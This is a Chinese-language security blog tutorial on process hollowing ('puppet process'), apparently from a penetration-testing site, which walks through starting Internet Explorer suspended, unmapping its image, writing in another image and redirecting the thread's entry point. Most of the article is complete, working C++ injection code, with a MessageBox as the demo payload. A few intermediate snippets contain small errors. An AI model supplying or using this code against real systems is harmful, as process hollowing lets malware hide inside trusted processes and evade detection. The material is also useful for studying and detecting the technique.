傀儡进程的分析与实现

# 前言 对于进程隐藏技术有很多种实现方式,本文就对傀儡进程进行分析及实现。 # 基础知识 ## 挂起方式创建进程 我们知道如果进程创建之后会在内存空间进行拉伸,那么...

前言

对于进程隐藏技术有很多种实现方式,本文就对傀儡进程进行分析及实现。

基础知识

挂起方式创建进程

我们知道如果进程创建之后会在内存空间进行拉伸,那么我们如果需要写入shellcode,只能在程序运行之前写入,因为当程序运行起来之后是不能够进行操作的。但是有一个例外,如果我们以挂起模式创建进程,写入shellcode到内存空间,再恢复进程,也能够达到同样的效果。

我们知道创建进程用到CreateProcess这个函数,首先看下结构

  1. BOOL CreateProcess(
  2.  LPCTSTR lpApplicationName, // 应用程序名称
  3.  LPTSTR lpCommandLine, // 命令行字符串
  4.  LPSECURITY_ATTRIBUTES lpProcessAttributes, // 进程的安全属性
  5.  LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程的安全属性
  6.  BOOL bInheritHandles, // 是否继承父进程的属性
  7.  DWORD dwCreationFlags, // 创建标志
  8.  LPVOID lpEnvironment, // 指向新的环境块的指针
  9.  LPCTSTR lpCurrentDirectory, // 指向当前目录名的指针
  10.  LPSTARTUPINFO lpStartupInfo, // 传递给新进程的信息
  11.  LPPROCESS_INFORMATION lpProcessInformation // 新进程返回的信息
  12. );

其中以挂起方式创建进程与两个参数有关,分别是第三个参数和第四个参数

lpProcessAttributes

CreateProcess结构中的第三个成员,指向SECURITY_ATTRIBUTES结构的一个指针,用来设置进程句柄能否被继承,若设置为NULL,则在句柄表中的值为0,进程句柄不能够被子进程继承

  1. typedef struct _SECURITY_ATTRIBUTES {
  2. DWORD nLength; //结构体的大小
  3. LPVOID lpSecurityDescriptor; //安全描述符
  4. BOOL bInheritHandle; //指定返回的句柄是否被继承
  5. } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;

lpThreadAttributes

CreateProcess结构中的第四个成员,指向SECURITY_ATTRIBUTES结构的一个指针,用来设置线程句柄能否被继承,若设置为NULL,则在句柄表中的值为0,线程句柄不能够被子进程继承

  1. typedef struct _SECURITY_ATTRIBUTES {
  2. DWORD nLength; //结构体的大小
  3. LPVOID lpSecurityDescriptor; //安全描述符
  4. BOOL bInheritHandle; //指定返回的句柄是否被继承
  5. } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;

那么这里验证一下挂起进程之后就不能够对进程进行操作

父进程代码,创建一个ie浏览器的进程并调用CreateProcess创建子进程

  1. // win32 create process3.cpp : Defines the entry point for the console application.
  2. //
  3. #include "stdafx.h"
  4. #include <windows.h>
  5. int main(int argc, char* argv[])
  6. {
  7. char szBuffer[256] = {0};
  8. char szHandle[8] = {0};
  9. SECURITY_ATTRIBUTES ie_sa_p;
  10. ie_sa_p.nLength = sizeof(ie_sa_p);
  11. ie_sa_p.lpSecurityDescriptor = NULL;
  12. ie_sa_p.bInheritHandle = TRUE;
  13. SECURITY_ATTRIBUTES ie_sa_t;
  14. ie_sa_t.nLength = sizeof(ie_sa_t);
  15. ie_sa_t.lpSecurityDescriptor = NULL;
  16. ie_sa_t.bInheritHandle = TRUE;
  17. //创建一个可以被继承的内核对象,此处是个进程
  18. STARTUPINFO ie_si = {0};
  19. PROCESS_INFORMATION ie_pi;
  20. ie_si.cb = sizeof(ie_si);
  21. TCHAR szCmdline[] =TEXT("c://program files//internet explorer//iexplore.exe");
  22. CreateProcess(
  23. NULL,
  24. szCmdline,
  25. &amp;ie_sa_p,
  26. &amp;ie_sa_t,
  27. TRUE,
  28. CREATE_NEW_CONSOLE,
  29. NULL,
  30. NULL, &amp;ie_si, &amp;ie_pi);
  31. //组织命令行参数
  32. sprintf(szHandle,"%x %x",ie_pi.hProcess,ie_pi.hThread);
  33. sprintf(szBuffer,"C:/project/win32 create process4/Debug/win32 create process4.exe %s",szHandle);
  34. //定义创建进程需要用的结构体
  35. STARTUPINFO si = {0};
  36. PROCESS_INFORMATION pi;
  37. si.cb = sizeof(si);
  38. //创建子进程
  39. BOOL res = CreateProcess(
  40. NULL,
  41. szBuffer,
  42. NULL,
  43. NULL,
  44. TRUE,
  45. CREATE_NEW_CONSOLE,
  46. NULL,
  47. NULL, &amp;si, &amp;pi);
  48. return 0;
  49. }

子进程代码如下,这里获取到子进程的句柄之后,使用SuspendThread挂起进程,等待5s后使用ResumeThread恢复进程

  1. // win32 create process4.cpp : Defines the entry point for the console application.
  2. //
  3. #include "stdafx.h"
  4. #include <windows.h>
  5. int main(int argc, char* argv[])
  6. {
  7. DWORD dwProcessHandle = -1;
  8. DWORD dwThreadHandle = -1;
  9. char szBuffer[256] = {0};
  10. memcpy(szBuffer,argv[1],8);
  11. sscanf(szBuffer,"%x",&amp;dwProcessHandle);
  12. memset(szBuffer,0,256);
  13. memcpy(szBuffer,argv[2],8);
  14. sscanf(szBuffer,"%x",&amp;dwThreadHandle);
  15. printf("获取IE进程、主线程句柄\n");
  16. Sleep(5000);
  17. //挂起主线程
  18. printf("挂起主线程\n");
  19. ::SuspendThread((HANDLE)dwThreadHandle);
  20. Sleep(5000);
  21. //恢复主线程
  22. ::ResumeThread((HANDLE)dwThreadHandle);
  23. printf("恢复主线程\n");
  24. Sleep(5000);
  25. //关闭ID进程
  26. ::TerminateProcess((HANDLE)dwProcessHandle,1);
  27. ::WaitForSingleObject((HANDLE)dwProcessHandle, INFINITE);
  28. printf("ID进程已经关闭.....\n");
  29. char szBuffer[256] = {0};
  30. GetCurrentDirectory(256,szBuffer);
  31. printf("%s\n",szBuffer);
  32. getchar();
  33. return 0;
  34. }

这里看下实验效果,可以看到挂起主线程时候,ie浏览器是点不动的,恢复主线程之后又可以正常运行,那么我们尝试使用挂起模式启动一个进程

本来这里是搞了一个gif的,gif上传不上来,就用图片演示下吧

首先是获取IE进程

sleep()之后挂起进程,这里点IE的任何地方都是点不动的

再恢复主线程即可点动

以挂起模式启动进程,只需要改一个地方,就是CreateProcess的第六个成员,设置为CREATE_SUSPENDED(非活动状态)即可,挂起之后使用ResumeThread恢复执行

  1. // win32 create process3.cpp : Defines the entry point for the console application.
  2. //
  3. #include "stdafx.h"
  4. #include <windows.h>
  5. int main(int argc, char* argv[])
  6. {
  7. STARTUPINFO ie_si = {0};
  8. PROCESS_INFORMATION ie_pi;
  9. ie_si.cb = sizeof(ie_si);
  10. TCHAR szBuffer[256] = "C:\\Documents and Settings\\Administrator\\桌面\\notepad.exe";
  11. CreateProcess(
  12. NULL,
  13. szBuffer,
  14. NULL,
  15. NULL,
  16. FALSE,
  17. CREATE_SUSPENDED,
  18. NULL,
  19. NULL,
  20. &amp;ie_si,
  21. &amp;ie_pi
  22. );
  23. //恢复执行
  24. ResumeThread(ie_pi.hThread);
  25. return 0;
  26. }

实现效果如下,这里使用挂起模式创建notepad,可以看到任务管理器里面已经有了这个进程,但是还没有显示出来,使用ResumeThread恢复执行之后就是一个正常的进程

这里也是gif上传不上来,就用图片演示下吧

正常模式我直接启动程序不太明显,因为没有设置sleep(),所以ResumeThread()很快就执行完了

这里我在ResumeThread()这个地方设置一个断点,发现在没有走恢复进程这个地方的时候,是没有记事本的窗口弹出来的,但是任务管理器却有进程,这就是挂起模式启动进程

实现过程

知道了以挂起模式启动进程,我们整理下思路。首先我们以挂起形式创建进程,创建进程过后我们的目的是写入shellcode,那么就要自己申请一块可读可写的区域内存放我们的shellcode,然后再恢复主线程,将函数入口指向我们的shellcode即可,当然这只是一个demo,具体细节还需要具体优化。

这里我使用了一个内核apiZwUnmapViewOfSection,用来清空之前内存里面的数据

那么首先我们把创建进程这部分写一个单独的函数

使用CREATE_SUSPENDED挂起创建进程的方式

  1. CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&amp;si,&amp;pi);

再写一个if语句判断进程创建是否成功,这里我创建的进程还是IE,完整代码如下

  1. BOOL CreateIEProcess()
  2. {
  3. wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe";
  4. STARTUPINFO si = { 0 };
  5. si.cb = sizeof(si);
  6. BOOL bRet;
  7. x CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&amp;si,&amp;pi);
  8. if (bRet)
  9. {
  10. printf("Create IE successfully!\n\n");
  11. }
  12. else
  13. {
  14. printf("Create IE failed\n\n");
  15. }
  16. return bRet;
  17. }

然后使用内核apiZwUnmapViewOfSection卸载创建这个基质内存空间的数据,这里先看下ZwUnmapViewOfSection的结构

  1. NTSTATUS ZwUnmapViewOfSection(
  2. IN HANDLE ProcessHandle,
  3. IN PVOID BaseAddress );

这个函数在wdm.h里面声明,那我们使用ntdll.dll将这个api加载进来

  1. ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");

然后使用GetModuleHandleA获取模块基址

  1. HMODULE hModuleBase = GetModuleHandleA(NULL);

使用GetCurModuleSize获取映像大小

  1. DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);

每个线程内核对象都维护着一个CONTEXT结构,里面保存了线程运行的状态,线程也就是eip, 这样可以使CPU可以记得上次运行该线程运行到哪里了,该从哪里开始运行,所以我们要先获取线程上下文的状态,使用到GetThreadContext

  1. Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
  2. GetThreadContext(pi.hThread, &amp;Thread);

下一步我们需要知道程序的基址,这里我用到PEB结构和ReadProcessMemory来获取,首先看下PEB的结构

  1. root> dt_peb
  2. nt!_PEB
  3. +0x000 InheritedAddressSpace : UChar
  4. +0x001 ReadImageFileExecOptions : UChar
  5. +0x002 BeingDebugged : UChar
  6. +0x003 BitField : UChar
  7. +0x003 ImageUsesLargePages : Pos 0, 1 Bit
  8. +0x003 SpareBits : Pos 1, 7 Bits
  9. +0x004 Mutant : Ptr32 Void
  10. +0x008 ImageBaseAddress : Ptr32 Void

ImageBaseAddress在+0x008这个位置,所以这个地方ReadProcessMemory的参数就是PEB+8

  1. DWORD GetRemoteProcessImageBase(DWORD dwPEB)
  2. {
  3. DWORD dwBaseAddr;
  4. ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &amp;dwBaseAddr, sizeof(DWORD), NULL);
  5. return dwBaseAddr;
  6. }

使用ZwUnmapViewOfSection来卸载空间数据

  1. ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);

卸载完空间数据之后,用VirtualAllocEx重新为我们创建的进程申请一块空间

  1. VirtualAllocEx(pi.hProcess, hModuleBase,dwImageSize,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);

然后使用WriteProcessMemory写入

  1. WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL);

在写入完成之后使用GetThreadContext,设置获取标志为 CONTEXT_FULL,即获取新进程中所有的线程上下文

  1. ThreadCxt.ContextFlags = CONTEXT_FULL;

然后修改eip指向我们自己的函数地址,这里写一个MessageBox

  1. DWORD GetNewOEP()
  2. {
  3. return (DWORD)MessageBox;
  4. }
  5. void MessageBox()
  6. {
  7. MessageBoxA(0, "Inject successfully", "", 0);
  8. }
  9. Threadna.Eip = GetNewOEP();

完整代码如下

  1. #include <windows.h>
  2. #include <tchar.h>
  3. #include <iostream>
  4. using namespace std;
  5. typedef long NTSTATUS;
  6. typedef NTSTATUS(__stdcall* pfnZwUnmapViewOfSection)(
  7. IN HANDLE ProcessHandle,
  8. IN LPVOID BaseAddress
  9. );
  10. pfnZwUnmapViewOfSection ZwUnmapViewOfSection;
  11. PROCESS_INFORMATION pi = { 0 };
  12. BOOL CreateEXE()
  13. {
  14. wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe";
  15. STARTUPINFO si = { 0 };
  16. si.cb = sizeof(si);
  17. BOOL bRet;
  18. bRet = CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&amp;si,&amp;pi);
  19. if (bRet)
  20. {
  21. printf("[*] Create process successfully!\n\n");
  22. }
  23. else
  24. {
  25. printf("[!] Create process failed\n\n");
  26. }
  27. return bRet;
  28. }
  29. DWORD GetCurModuleSize(DWORD dwModuleBase)
  30. {
  31. PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)dwModuleBase;
  32. PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(dwModuleBase + pDosHdr->e_lfanew);
  33. return pNtHdr->OptionalHeader.SizeOfImage;
  34. }
  35. DWORD GetRemoteProcessImageBase(DWORD dwPEB)
  36. {
  37. DWORD dwBaseRet;
  38. ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &amp;dwBaseRet, sizeof(DWORD), NULL);
  39. return dwBaseRet;
  40. }
  41. void Mess()
  42. {
  43. MessageBoxA(0, "Inject successfully", "", 0);
  44. }
  45. DWORD GetNewOEP()
  46. {
  47. return (DWORD)Mess;
  48. }
  49. int _tmain(int argc, _TCHAR* argv[])
  50. {
  51. ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
  52. printf("[*] ZwUnmapViewOfSection address is : 0x%08X\n\n", ZwUnmapViewOfSection);
  53. if (!ZwUnmapViewOfSection)
  54. {
  55. printf("[!] ZwUnmapViewOfSection failed\n\n");
  56. exit(1);
  57. }
  58. if (!CreateEXE())
  59. {
  60. printf("[!] Create Process failed\n\n");
  61. exit(1);
  62. }
  63. printf("[*] The process PID is : %d\n\n", pi.dwProcessId);
  64. HMODULE hModuleBase = GetModuleHandleA(NULL);
  65. DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);
  66. CONTEXT Thread;
  67. Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
  68. GetThreadContext(pi.hThread, &amp;Thread);
  69. DWORD dwRemoteImageBase = GetRemoteProcessImageBase(Thread.Ebx);
  70. ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);
  71. LPVOID lpAllocAddr = VirtualAllocEx(pi.hProcess, hModuleBase, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  72. if (lpAllocAddr)
  73. {
  74. printf("[*] VirtualAllocEx successfully!\n\n");
  75. }
  76. else
  77. {
  78. printf("[!] VirtualAllocEx failed\n\n");
  79. return FALSE;
  80. }
  81. if (NULL == ::WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL))
  82. {
  83. printf("[!] WriteProcessMemory failed\n\n");
  84. return FALSE;
  85. }
  86. else
  87. {
  88. printf("[*] WriteProcessMemory successfully!\n\n");
  89. }
  90. Thread.ContextFlags = CONTEXT_FULL;
  91. Thread.Eip = GetNewOEP();
  92. SetThreadContext(pi.hThread, &amp;Thread);
  93. if (-1 == ResumeThread(pi.hThread))
  94. {
  95. printf("[!] ResumeThread failed\n\n");
  96. return FALSE;
  97. }
  98. else
  99. {
  100. printf("[*] ResumeThread successfully!\n\n");
  101. }
  102. }

实现效果

到这我们的函数就已经成功了,运行一下弹出了messagebox,证明傀儡进程实现成功

  • 发表于 2021-11-02 10:24:53
  • 阅读 ( 8261 )
  • 分类:内网渗透

0 条评论

szbuffer
szbuffer

30 篇文章

站长统计